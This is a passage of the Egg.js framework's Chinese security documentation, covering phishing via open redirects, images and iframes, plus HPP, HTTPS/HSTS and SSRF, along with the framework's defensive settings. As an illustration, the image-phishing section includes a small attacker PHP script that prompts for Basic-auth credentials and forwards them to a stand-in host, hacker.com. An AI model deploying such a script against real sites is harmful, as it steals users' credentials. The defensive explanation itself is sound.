<h2 id="安全威胁-钓鱼攻击-的防范"><a class="markdown-anchor" href="#安全威胁-钓鱼攻击-的防范">#</a> 安全威胁 <code>钓鱼攻击</code> 的防范</h2>
<p>钓鱼有多种方式，这里介绍 url 钓鱼、图片钓鱼和 iframe 钓鱼。</p>
<h3 id="url-钓鱼"><a class="markdown-anchor" href="#url-钓鱼">#</a> url 钓鱼</h3>
<p>服务端未对传入的跳转 url 变量进行检查和控制，可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。
由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞一般用于钓鱼攻击，通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息，或欺骗用户进行金钱交易；
也可能引发的 XSS 漏洞（主要是跳转常常使用 302 跳转，即设置 HTTP 响应头，Locatioin: url，如果 url 包含了 CRLF，则可能隔断了 HTTP 响应头，使得后面部分落到了 HTTP body，从而导致 XSS 漏洞）。</p>
<h3 id="防范方式-5"><a class="markdown-anchor" href="#防范方式-5">#</a> 防范方式</h3>
<ul>
<li>若跳转的 url 事先是可以确定的，包括 url 和参数的值，则可以在后台先配置好，url 参数只需传对应 url 的索引即可，通过索引找到对应具体 url 再进行跳转；</li>
<li>若跳转的 url 事先不确定，但其输入是由后台生成的（不是用户通过参数传人），则可以先生成好跳转链接然后进行签名；</li>
<li>若 1 和 2 都不满足，url 事先无法确定，只能通过前端参数传入，则必须在跳转的时候对 url 进行按规则校验：判断 url 是否在应用授权的白名单内。</li>
</ul>
<p>框架提供了安全跳转的方法，可以通过配置白名单避免这种风险。</p>
<ul>
<li><code>ctx.redirect(url)</code> 如果不在配置的白名单内，则禁止。</li>
<li><code>ctx.unsafeRedirect(url)</code> 一般不建议使用，明确了解可能带来的风险后使用。</li>
</ul>
<p>安全方案覆盖了默认的<code>ctx.redirect</code>方法，所有的跳转均会经过安全域名的判断。</p>
<p>用户如果使用<code>ctx.redirect</code>方法，需要在应用的配置文件中做如下配置：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// config/config.default.js</span></span><br><span class="line">exports.security = &#123;</span><br><span class="line">  domainWhiteList:[<span class="string">'.domain.com'</span>],  <span class="comment">// 安全白名单，以 . 开头</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>若用户没有配置 <code>domainWhiteList</code> 或者 <code>domainWhiteList</code>数组内为空，则默认会对所有跳转请求放行，即等同于<code>ctx.unsafeRedirect(url)</code></p>
<h3 id="图片钓鱼"><a class="markdown-anchor" href="#图片钓鱼">#</a> 图片钓鱼</h3>
<p>如果可以允许用户向网页里插入未经验证的外链图片，这有可能出现钓鱼风险。</p>
<p>比如常见的 <code>401钓鱼</code>, 攻击者在访问页面时，页面弹出验证页面让用户输入帐号及密码，当用户输入之后，帐号及密码就存储到了黑客的服务器中。
通常这种情况会出现在<code>&lt;img src=$url /&gt;</code>中，系统不对<code>$url</code>是否在域名白名单内进行校验。</p>
<p>攻击者可以在自己的服务器中构造以下代码：</p>
<p>401.php：作用为弹出 401 窗口，并且记录用户信息。</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    header(<span class="string">'WWW-Authenticate: Basic realm="No authorization"'</span>);</span><br><span class="line">    header(<span class="string">'HTTP/1.1 401 Unauthorized'</span>);</span><br><span class="line">        $domain = <span class="string">"http://hacker.com/fishing/"</span>;</span><br><span class="line">        <span class="keyword">if</span> ($_SERVER[sectech:<span class="string">'PHP_AUTH_USER'</span>] !== <span class="keyword">null</span>)&#123;</span><br><span class="line">                header(<span class="string">"Location: "</span>.$domain.<span class="string">"record.php?a="</span>.$_SERVER[sectech:<span class="string">'PHP_AUTH_USER'</span>].<span class="string">"&amp;b="</span>.$_SERVER[sectech:<span class="string">'PHP_AUTH_PW'</span>]);</span><br><span class="line">        &#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>之后攻击者生成一个图片链接<code>&lt;img src=&quot;http://xxx.xxx.xxx/fishing/401.php?a.jpg//&quot; /&gt;</code>。</p>
<p>当用户访问时，会弹出信息让用户点击，用户输入的用户名及密码会被黑客的服务器偷偷记录。</p>
<h3 id="防范方式-6"><a class="markdown-anchor" href="#防范方式-6">#</a> 防范方式</h3>
<p>框架提供了 <code>.surl()</code> 宏做 url 过滤。</p>
<p>用于在 html 标签中中要解析 url 的地方（比如 <code>&lt;a href=&quot;&quot;/&gt;&lt;img src=&quot;&quot;/&gt;</code>），其他地方不允许使用。</p>
<p>对模板中要输出的变量，加 <code>helper.surl($value)</code>。</p>
<p><strong>注意：在需要解析 url 的地方，surl 外面一定要加上双引号，否则就会导致XSS漏洞。</strong></p>
<p>不使用 surl</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"$value"</span> /&gt;</span></span><br></pre></td></tr></table></figure>
<p>output:</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://ww.safe.com&lt;script&gt;"</span> /&gt;</span></span><br></pre></td></tr></table></figure>
<p>使用 surl</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"helper.surl($value)"</span> /&gt;</span></span><br></pre></td></tr></table></figure>
<p>output:</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://ww.safe.com&amp;lt;script&amp;gt;"</span> /&gt;</span></span><br></pre></td></tr></table></figure>
<h3 id="iframe-钓鱼"><a class="markdown-anchor" href="#iframe-钓鱼">#</a> iframe 钓鱼</h3>
<p><a href="https://www.owasp.org/index.php/Cross_Frame_Scripting" target="_blank" rel="noopener">iframe 钓鱼</a>，通过内嵌 iframe 到被攻击的网页中，攻击者可以引导用户去点击 iframe 指向的危险网站，甚至遮盖，影响网站的正常功能，劫持用户的点击操作。</p>
<p>框架提供了 <code>X-Frame-Options</code> 这个安全头来防止 iframe 钓鱼。默认值为 SAMEORIGIN，只允许同域把本页面当作 iframe 嵌入。</p>
<p>当需要嵌入一些可信的第三方网页时，可以关闭这个配置。</p>
<h2 id="安全威胁-hpp-的防范"><a class="markdown-anchor" href="#安全威胁-hpp-的防范">#</a> 安全威胁 HPP 的防范</h2>
<p>Http Parameter Pollution（HPP)，即 HTTP 参数污染攻击。在HTTP协议中是允许同样名称的参数出现多次，而由于应用的实现不规范，攻击者通过传播参数的时候传输 key 相同而 value 不同的参数，从而达到绕过某些防护的后果。</p>
<p>HPP 可能导致的安全威胁有：</p>
<ul>
<li>绕过防护和参数校验。</li>
<li>产生逻辑漏洞和报错，影响应用代码执行。</li>
</ul>
<h3 id="拓展阅读-2"><a class="markdown-anchor" href="#拓展阅读-2">#</a> 拓展阅读</h3>
<ul>
<li>https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)</li>
<li>http://blog.csdn.net/eatmilkboy/article/details/6761407</li>
<li>https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf</li>
<li>ebay 因参数污染存在 RCE（远程命令执行）漏洞：http://secalert.net/2013/12/13/ebay-remote-code-execution/</li>
</ul>
<h3 id="如何防范"><a class="markdown-anchor" href="#如何防范">#</a> 如何防范</h3>
<p>框架本身会在客户端传输 key 相同而 value 不同的参数时，强制使用第一个参数，因此不会导致 hpp 攻击。</p>
<h2 id="中间人攻击"><a class="markdown-anchor" href="#中间人攻击">#</a> <a href="https://www.owasp.org/index.php/Man-in-the-middle_attack" target="_blank" rel="noopener">中间人攻击</a>与 HTTP / HTTPS</h2>
<p>HTTP 是网络应用广泛使用的协议，负责 Web 内容的请求和获取。然而，内容请求和获取时会经过许多中间人，主要是网络环节，充当内容入口的浏览器、路由器厂商、WIFI提供商、通信运营商，如果使用了代理、翻墙软件则会引入更多中间人。由于 HTTP 请求的路径、参数默认情况下均是明文的，因此这些中间人可以对 HTTP 请求进行监控、劫持、阻挡。</p>
<p>在没有 HTTPS 时，运营商可在用户发起请求时直接跳转到某个广告，或者直接改变搜索结果插入自家的广告。如果劫持代码出现了 BUG ，则直接让用户无法使用，出现白屏。</p>
<p>数据泄露、请求劫持、内容篡改等等问题，核心原因就在于 HTTP 是全裸式的明文请求，域名、路径和参数都被中间人们看得一清二楚。HTTPS 做的就是给请求加密，让其对用户更加安全。对于自身而言除了保障用户利益外，还可避免本属于自己的流量被挟持，以保护自身利益。</p>
<p>尽管 HTTPS 并非绝对安全，掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击。不过HTTPS是现行架构下最安全的解决方案，并且它大幅增加了中间人攻击的成本。</p>
<p>因此，请各位使用 Egg 框架开发网站的开发者，务必推动自己的网站升级到 HTTPS。</p>
<p>对于 HTTPS 来讲，还有一点要注意的是 HTTP 严格传输安全（HSTS），如果不使用 HSTS，当用户在浏览器中输入网址时没有加 HTTPS，浏览器会默认使用 HTTP 访问</p>
<p>框架提供了 <code>hsts Strict-Transport-Security</code> 这个头的默认开启。让 HTTPS 站点不跳转到 HTTP，如果站点支持 HTTPS，请一定要开启。</p>
<p>如果我们的Web 站点是 http 站点，需要关闭这个头。配置如下：</p>
<ul>
<li>maxAge 默认一年 <code>365 * 24 * 3600</code>。</li>
<li>includeSubdomains 默认 false, 可以添加子域名，保证所有子域名都使用 HTTPS 访问。</li>
</ul>
<h2 id="安全威胁-ssrf-的防范"><a class="markdown-anchor" href="#安全威胁-ssrf-的防范">#</a> 安全威胁 SSRF 的防范</h2>
<p>通过 <a href="https://www.owasp.org/index.php/Server_Side_Request_Forgery" target="_blank" rel="noopener">Server-Side Request Forgery(SSRF)</a> 攻击，攻击者可以发起网络请求访问或者操作内部网络的资源。</p>
<p>一般来说，SSRF 安全漏洞常见于开发者在服务端直接请求客户端传递进来的 URL 资源，一旦攻击者传入一些内部的 URL 即可发起 SSRF 攻击。</p>
<h3 id="如何防范-2"><a class="markdown-anchor" href="#如何防范-2">#</a> 如何防范</h3>
<p>通常我们会基于内网 IP 黑名单的形式来防范 SSRF 攻击，通过对解析域名后得到的 IP 做过滤，禁止访问内部 IP 地址来达到防范 SSRF 攻击的目的。</p>
<p>框架在 <code>ctx</code>, <code>app</code> 和 <code>agent</code> 上都提供了 <code>safeCurl</code> 方法，在发起网络请求的同时会对指定的内网 IP 地址过滤，除此之外，该方法和框架提供的 <code>curl</code> 方法一致。</p>
<ul>
<li><code>ctx.safeCurl(url, options)</code></li>
<li><code>app.safeCurl(url, options)</code></li>
<li><code>agent.safeCurl(url, options)</code></li>
</ul>
<h4 id="配置"><a class="markdown-anchor" href="#配置">#</a> 配置</h4>
<p>直接调用 <code>safeCurl</code> 方法其实并没有任何作用，还需要配合安全配置项。</p>
<ul>
<li><code>ipBlackList</code>(Array) - 配置内网 IP 名单，在这些网段内的 IP 地址无法被访问。</li>
<li><code>checkAddress</code>(Function) - 直接配置一个检查 IP 地址的函数，根据函数的返回值来判断是否允许在 <code>safeCurl</code> 中被访问，当返回非 <code>true</code> 时，该 IP 无法被访问。<code>checkAddress</code> 优先级高于 <code>ipBlackList</code>。</li>
</ul>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// config/config.default.js</span></span><br><span class="line">exports.security = &#123;</span><br><span class="line">  ssrf: &#123;</span><br><span class="line">    ipBlackList: [</span><br><span class="line">      <span class="string">'10.0.0.0/8'</span>, <span class="comment">// 支持 IP 网段</span></span><br><span class="line">      <span class="string">'0.0.0.0/32'</span>,</span><br><span class="line">      <span class="string">'127.0.0.1'</span>,  <span class="comment">// 支持指定 IP 地址</span></span><br><span class="line">    ],</span><br><span class="line">    <span class="comment">// 配置了 checkAddress 时，ipBlackList 不会生效</span></span><br><span class="line">    checkAddress(ip) &#123;</span><br><span class="line">      <span class="keyword">return</span> ip !== <span class="string">'127.0.0.1'</span>;</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<h2 id="其他安全工具"><a class="markdown-anchor" href="#其他安全工具">#</a> 其他安全工具</h2>
<h3 id="ctxissafedomaindomain"><a class="markdown-anchor" href="#ctxissafedomaindomain">#</a> ctx.isSafeDomain(domain)</h3>
<p>是否为安全域名。安全域名在配置中配置，见 <code>ctx.redirect</code> 部分。</p>
<h3 id="appinjectcsrfstr"><a class="markdown-anchor" href="#appinjectcsrfstr">#</a> app.injectCsrf(str)</h3>
<p>这个函数提供了模板预处理－自动插入 CSRF key 的能力，可以自动在所有的 form 标签中插入 CSRF 隐藏域，用户就不需要手动写了。</p>
<h3 id="appinjectnoncestr"><a class="markdown-anchor" href="#appinjectnoncestr">#</a> app.injectNonce(str)</h3>
<p>这个函数提供了模板预处理－自动插入 nonce 的能力，如果网站开启了 CSP 安全头，并且想使用 <code>CSP 2.0 nonce</code> 特性，可以使用这个函数。参考 <a href="https://www.zhihu.com/question/21979782" target="_blank" rel="noopener">CSP 是什么</a>。</p>
<p>这个函数会扫描模板中的 script 标签，并自动加上 nonce 头。</p>
<h3 id="appinjecthijackingdefensestr"><a class="markdown-anchor" href="#appinjecthijackingdefensestr">#</a> app.injectHijackingDefense(str)</h3>
<p>对于没有开启 HTTPS 的网站，这个函数可以有限的防止运营商劫持。</p>

  </article>
  <aside id="mobileAside" class="toc">
  <div class="mobile-menu">
    <ul>
      <li><a href="/zh-cn/intro/" alt="指南">指南</a></li><li><a href="/api/" alt="API">API</a></li><li><a href="/zh-cn/tutorials/index.html" alt="教程">教程</a></li><li><a href="https://github.com/search?q=topic%3Aegg-plugin&type=Repositories" alt="插件">插件</a></li><li><a href="https://github.com/eggjs/egg/releases" alt="发布日志">发布日志</a></li>
      
      
        <li class="translations">
          <a class="nav-link">Translations</a>
          <span class="arrow"></span><ul id="dropdownContent" class="dropdown-content"><li><a id="en" href="/en/core/security.html" >English</a></li><li><a id="zh-cn" href="/zh-cn/core/security.html" style="color: #22ab28">中文</a></li></ul>
        </li>
      
    </ul>
  </div>
  <dl><dt id="title-Intro" style="cursor: pointer;" class="aside-title">新手指南<a id="collapse-icon-Intro" class="icon opend"></a></dt><dd id=panel-Intro><ul><li><a href="/zh-cn/intro/index.html" class="menu-link">Egg.js 是什么?</a></li><li><a href="/zh-cn/intro/egg-and-koa.html" class="menu-link">Egg.js 和 Koa</a></li><li><a href="/zh-cn/intro/quickstart.html" class="menu-link">快速入门</a></li><li><a href="/zh-cn/tutorials/progressive.html" class="menu-link">渐进式开发</a></li><li><a href="/zh-cn/migration.html" class="menu-link">2.x 升级指南</a></li></ul></dd><dt id="title-Basics" style="cursor: pointer;" class="aside-title">基础功能<a id="collapse-icon-Basics" class="icon opend"></a></dt><dd id=panel-Basics><ul><li><a href="/zh-cn/basics/structure.html" class="menu-link">目录结构</a></li><li><a href="/zh-cn/basics/objects.html" class="menu-link">内置对象</a></li><li><a href="/zh-cn/basics/env.html" class="menu-link">运行环境</a></li><li><a href="/zh-cn/basics/config.html" class="menu-link">配置</a></li><li><a href="/zh-cn/basics/middleware.html" class="menu-link">中间件</a></li><li><a href="/zh-cn/basics/router.html" class="menu-link">Router</a></li><li><a href="/zh-cn/basics/controller.html" class="menu-link">Controller</a></li><li><a href="/zh-cn/basics/service.html" class="menu-link">Service</a></li><li><a href="/zh-cn/basics/plugin.html" class="menu-link">插件</a></li><li><a href="/zh-cn/basics/schedule.html" class="menu-link">定时任务</a></li><li><a href="/zh-cn/basics/extend.html" class="menu-link">框架扩展</a></li><li><a href="/zh-cn/basics/app-start.html" class="menu-link">启动自定义</a></li></ul></dd><dt id="title-Core" style="cursor: pointer;" class="aside-title">核心功能<a id="collapse-icon-Core" class="icon opend"></a></dt><dd id=panel-Core><ul><li><a href="/zh-cn/core/development.html" class="menu-link">本地开发</a></li><li><a href="/zh-cn/core/unittest.html" class="menu-link">单元测试</a></li><li><a href="/zh-cn/core/deployment.html" class="menu-link">应用部署</a></li><li><a href="/zh-cn/core/logger.html" class="menu-link">日志</a></li><li><a href="/zh-cn/core/httpclient.html" class="menu-link">HttpClient</a></li><li><a href="/zh-cn/core/cookie-and-session.html" class="menu-link">Cookie and Session</a></li><li><a href="/zh-cn/core/cluster-and-ipc.html" class="menu-link">多进程模型和进程间通讯</a></li><li><a href="/zh-cn/core/view.html" class="menu-link">模板渲染</a></li><li><a href="/zh-cn/core/error-handling.html" class="menu-link">异常处理</a></li><li><a href="/zh-cn/core/security.html" class="menu-link">安全</a></li><li><a href="/zh-cn/core/i18n.html" class="menu-link">国际化</a></li></ul></dd><dt id="title-Tutorials" style="cursor: pointer;" class="aside-title">教程<a id="collapse-icon-Tutorials" class="icon opend"></a></dt><dd id=panel-Tutorials><ul><li><a href="/zh-cn/tutorials/mysql.html" class="menu-link">MySQL</a></li><li><a href="/zh-cn/tutorials/restful.html" class="menu-link">RESTful API</a></li><li><a href="/zh-cn/tutorials/passport.html" class="menu-link">Passport 鉴权</a></li><li><a href="/zh-cn/tutorials/socketio.html" class="menu-link">Socket.IO</a></li><li><a href="/zh-cn/tutorials/assets.html" class="menu-link">静态资源</a></li><li><a href="/zh-cn/tutorials/typescript.html" class="menu-link">TypeScript</a></li></ul></dd><dt id="title-Advanced" style="cursor: pointer;" class="aside-title">进阶<a id="collapse-icon-Advanced" class="icon opend"></a></dt><dd id=panel-Advanced><ul><li><a href="/zh-cn/advanced/loader.html" class="menu-link">Loader</a></li><li><a href="/zh-cn/advanced/plugin.html" class="menu-link">插件开发</a></li><li><a href="/zh-cn/advanced/framework.html" class="menu-link">框架开发</a></li><li><a href="/zh-cn/advanced/cluster-client.html" class="menu-link">多进程研发模式增强</a></li><li><a href="/zh-cn/advanced/view-plugin.html" class="menu-link">模板插件开发规范</a></li><li><a href="/zh-cn/style-guide.html" class="menu-link">代码风格指南</a></li></ul></dd><dt id="title-Community" style="cursor: pointer;" class="aside-title">社区<a id="collapse-icon-Community" class="icon opend"></a></dt><dd id=panel-Community><ul><li><a href="/zh-cn/plugins/" class="menu-link">内置插件列表</a></li><li><a href="/zh-cn/contributing.html" class="menu-link">如何贡献</a></li><li><a href="/zh-cn/resource.html" class="menu-link">资源</a></li><li><a href="/zh-cn/faq.html" class="menu-link">常见问题</a></li></ul></dd></dl>
</aside>
<script>
var mobileTrigger = document.getElementById('mobileTrigger');
var mobileAside = document.getElementById('mobileAside');

var expandMenu = function(title) {
  // handle icon
  const collapseIcon = document.getElementById('collapse-icon-' + title);
  if (collapseIcon) {
    collapseIcon.className = 'icon opend';
  }
  // handle panelEle
  const panelEle = document.getElementById('panel-' + title);
  if (panelEle) {
    panelEle.className = '';
  }
}

var collapseMenu = function(title) {
  // handle icon
  const collapseIcon = document.getElementById('collapse-icon-' + title);
  if (collapseIcon) {
    collapseIcon.className = 'icon closed';
  }
  // handle panelEle
  const panelEle = document.getElementById('panel-' + title);
  if (panelEle) {
    panelEle.className = 'aside-panel-hidden';
  }
}

mobileAside.onclick = function(e) {
  const targetId = e.target.id;
  if (targetId && (targetId.indexOf('title-') > -1 || targetId.indexOf('collapse-icon-') > -1)) {
    const title = targetId.replace('title-', '').replace('collapse-icon-', '');
    try { 
      // the the browser may have no localStroage or JSON.parse may throw exception.
      const menuInfo = JSON.parse(window.localStorage.getItem('menuInfo'));
        
      // current menu status
      const curClosed = menuInfo[title] ? menuInfo[title].closed : false; // default false

      // change UI
      curClosed ? expandMenu(title) : collapseMenu(title);

      // save menuInfo to localStorage
      menuInfo[title] = { closed: !curClosed } // opposite
      window.localStorage.setItem('menuInfo', JSON.stringify(menuInfo));
    } catch (e) {}
  }
};

mobileTrigger.onclick = function(e) {
  e.preventDefault();
  if (mobileAside.className.indexOf('mobile-show') === -1) {
    mobileAside.className += ' mobile-show';
  } else {
    mobileAside.className = 'toc';
  }
};

(function() {
  // save data to localStorage because the page will refresh when user change the url.
  let menuInfo;
  try { 
    // the the browser may have no localStroage or JSON.parse may throw exception.
    menuInfo = JSON.parse(window.localStorage.getItem('menuInfo'));
    if (!menuInfo) {
      menuInfo = {};
      window.localStorage.setItem('menuInfo', JSON.stringify(menuInfo));
    }
  } catch (e) {
    menuInfo = {}; // default {}
  }

  for (const title in menuInfo) {
    if (menuInfo[title] && menuInfo[title].closed) { // menu in closed status.
      collapseMenu(title);
    } else {
      expandMenu(title);
    }
  }

  // highlight menu
  const pathname = window.location.pathname;
  const selector = `a[href="${pathname}"].menu-link,a[href="${pathname}index.html"].menu-link`;
  const menuItem = mobileAside.querySelector(selector);
  if (menuItem) { menuItem.className += ' highlight'; }
})();
</script>

</div>

  </div>
</body>
<script src="https://cdn.jsdelivr.net/docsearch.js/2/docsearch.min.js"></script>
<script>
docsearch({
  apiKey: '1561de31a86f79507ea00cdb54ce647c',
  indexName: 'eggjs',
  inputSelector: '#search-query',
});
</script>
<div class="cnzz">
<script src="https://s11.cnzz.com/z_stat.php?id=1261142226&web_id=1261142226" language="JavaScript"></script>
</div>

</html>
